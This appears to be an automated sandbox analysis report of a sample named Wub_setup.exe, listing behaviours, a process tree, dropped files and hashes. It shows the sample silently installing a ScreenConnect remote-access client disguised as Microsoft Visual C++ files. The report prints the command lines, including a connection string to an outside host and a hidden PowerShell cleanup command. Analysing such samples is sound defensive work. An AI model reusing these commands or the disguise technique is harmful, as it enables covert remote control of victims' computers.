Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 08:59

General

  • Target
    Wub_setup\Wub_setup.exe
  • Size 74KB
  • Sample260930-kxzhssvapd
  • SHA256 f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 7 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 35 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Wub_setup\Wub_setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Wub_setup\Wub_setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\SC699D.tmp" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3792
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Start-Sleep 180; Remove-Item -Force -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\SC699D.tmp'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4224
    • C:\Users\Admin\AppData\Local\Temp\Wub_setup\redist\2022\vcomp140.dll
      "C:\Users\Admin\AppData\Local\Temp\Wub_setup\redist\2022\vcomp140.dll"
      2⤵
        PID:5956
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2F75EED7649511BB5E2E67AE4DBB1E79
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI719C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240743484 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Drops file in Windows directory
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3592
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9B266816CD3B1D7DF893914277314D59 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5280
    • C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=open2.trusts-vpns.top&p=8041&s=bcea7217-d579-4d2d-8aa1-ef35e0d8c597&k=BgIAAACkAABSU0ExAAgAAAEAAQDh1HVupm5iXxjYyDV0%2fxywNz8XTVBXHV0FcN%2fvzPNkVHPnMzYk9zJjvg%2fXZ4IVicLklsytX9cR2rP%2b3PxnVRBUNqeU25v9uU4USLps0UQ3BOOiDWZumm%2fRK1%2f%2fJAY7i%2fN4Is9Toip06z9ZHbmrmDbQ5PfkgApQ6p8Lcz4PPSe%2boF0Y210DvO5cMejj8t6aLXFB%2bnRrGcgeMbskK3DIHs0hEp6nZ%2f%2bhxHfEArKpnsA%2fN81eMKQ57nxKBc%2b5RREQNlrlQbLAUfJ9cUY2A70sSyhmU%2bYEMoxw4eDyyb4l3xjuEbt%2bQ%2fqmBrDkqIw%2fSeuP5ke1zExx%2fdZ1O9OC6nB0QW3K&c=Wub_setup"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsClient.exe" "RunRole" "5bd577cd-03b0-49b8-b6d5-49daa0ef773b" "User"
        2⤵
        • Executes dropped EXE
        PID:2776

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596db7.rbs

          • Path C:\Config.Msi\e596db7.rbs
          • Size 214KB
          • SHA256 79728ad0a2dac0e9befd47f8c545323887ad64440987f24b59772e3fb1dfe0ae
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.Override.en-US.resources
          • Size 290B
          • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.Override.resources
          • Size 4KB
          • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.en-US.resources
          • Size 48KB
          • SHA256 f8398a235b29af6569f2b116e0299b95512d042f5a4cd38c98c79729a5fbdb9d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 c48818729f4743c8ca9e1b31c8fe3c3e4bb335ae5e5e9ac253a823f9979e582c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 4505825b498071330af95e6fb49d0e4838e7f0c7afd760f46d19d0c7c20eb5e5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 c934cc868a7e985753ccaaef66d3e0714819be1d5549d600e113e09c93142cb9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 244KB
          • SHA256 7a6e2a764928322d7f1e57af61a1e463bff0cd373c19c4bd0a3dc93a845fa46d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsClient.exe
          • Size 584KB
          • SHA256 aa921b756893d0a0740e90469c27d047bfc0b733f38e5f1490df47baf8441d7a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\ScreenConnect.WindowsCredentialProvider.dll
          • Size 869KB
          • SHA256 46869989dc9086be05080b30a3dccefa9df021826a04820f6b2f30e2e86b5f9c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\Microsoft Visual C++ 2022\system.config
          • Size 965B
          • SHA256 a01aa5a02e5f2a2c6d89d3aae515fcacd4f9b811e56455f8eec20a3be09cfe38
          • MD5 SHA1 SHA512 TLSH

          5e9i5w6y.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\5e9i5w6y.tmp
          • Size 18KB
          • SHA256 7cda69a9623825130dc5a0f4b19c383197c55a93664ee4f68c2e1d201c9741f6
          • MD5 SHA1 SHA512 SSDEEP

          SC699D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\SC699D.tmp
          • Size 12.9MB
          • SHA256 3d3e0e46a8f3699319891360cb2ad2032498c1678e38b72acaa1f77a8fae7038
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI719C.tmp

          • Path C:\Windows\Installer\MSI719C.tmp
          • Size 1.1MB
          • SHA256 81c8eb2c3eff9902c4a210d265ed7fc8ecb6619aec3fbbcedaed390e0f31c4aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI719C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI719C.tmp-\ScreenConnect.Core.dll
          • Size 533KB
          • SHA256 289c9f6f4c91ff0774de14bbcb637346ccb74ed676cb915376040674056271bc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI719C.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 acdce930cde439092e10dc6b766c2d564eb51def7877e92b69d0bf8b400c05a7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI719C.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 30a0135e30850d8d5a47ad868e1aceca5d523e50e97298f57fd9b447384ae67c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7BA1.tmp

          • Path C:\Windows\Installer\MSI7BA1.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1428-131-0x0000000003C20000-0x0000000003C56000-memory.dmp

          memory/1428-136-0x00000000040F0000-0x00000000041CC000-memory.dmp

          memory/1428-134-0x0000000003C60000-0x0000000003CA1000-memory.dmp

          memory/1428-132-0x0000000003F00000-0x0000000003F92000-memory.dmp

          memory/1428-116-0x0000000001460000-0x0000000001476000-memory.dmp

          memory/1428-127-0x0000000003BD0000-0x0000000003C20000-memory.dmp

          memory/2776-150-0x0000000001450000-0x0000000001466000-memory.dmp

          memory/2776-148-0x000000001C240000-0x000000001C3C8000-memory.dmp

          memory/2776-144-0x0000000000C40000-0x0000000000CD6000-memory.dmp

          memory/2776-146-0x000000001BCC0000-0x000000001BD4C000-memory.dmp

          memory/2776-151-0x0000000002D90000-0x0000000002DA6000-memory.dmp

          memory/2776-145-0x0000000002D50000-0x0000000002D86000-memory.dmp

          memory/2776-147-0x000000001BF00000-0x000000001C0AA000-memory.dmp

          memory/2776-152-0x0000000002DB0000-0x0000000002DF1000-memory.dmp

          memory/3592-77-0x0000000005FB0000-0x000000000656A000-memory.dmp

          memory/3592-67-0x0000000005500000-0x000000000550C000-memory.dmp

          memory/3592-71-0x0000000005600000-0x000000000568C000-memory.dmp

          memory/3592-63-0x00000000054C0000-0x00000000054EE000-memory.dmp

          memory/3592-75-0x0000000005840000-0x00000000059EA000-memory.dmp

          memory/4224-35-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-3-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-32-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-31-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-29-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-36-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-58-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-9-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-28-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-171-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-8-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-6-0x000001E0F3850000-0x000001E0F3872000-memory.dmp

          memory/4224-7-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-149-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-2-0x000001E0F33AC000-0x000001E0F33AD000-memory.dmp

          memory/4224-76-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4224-167-0x000001E0F2C10000-0x000001E0F35B4000-memory.dmp

          memory/4976-165-0x000002B6D1B00000-0x000002B6D24A4000-memory.dmp

          memory/5052-10-0x00007FFA801A0000-0x00007FFA801AE000-memory.dmp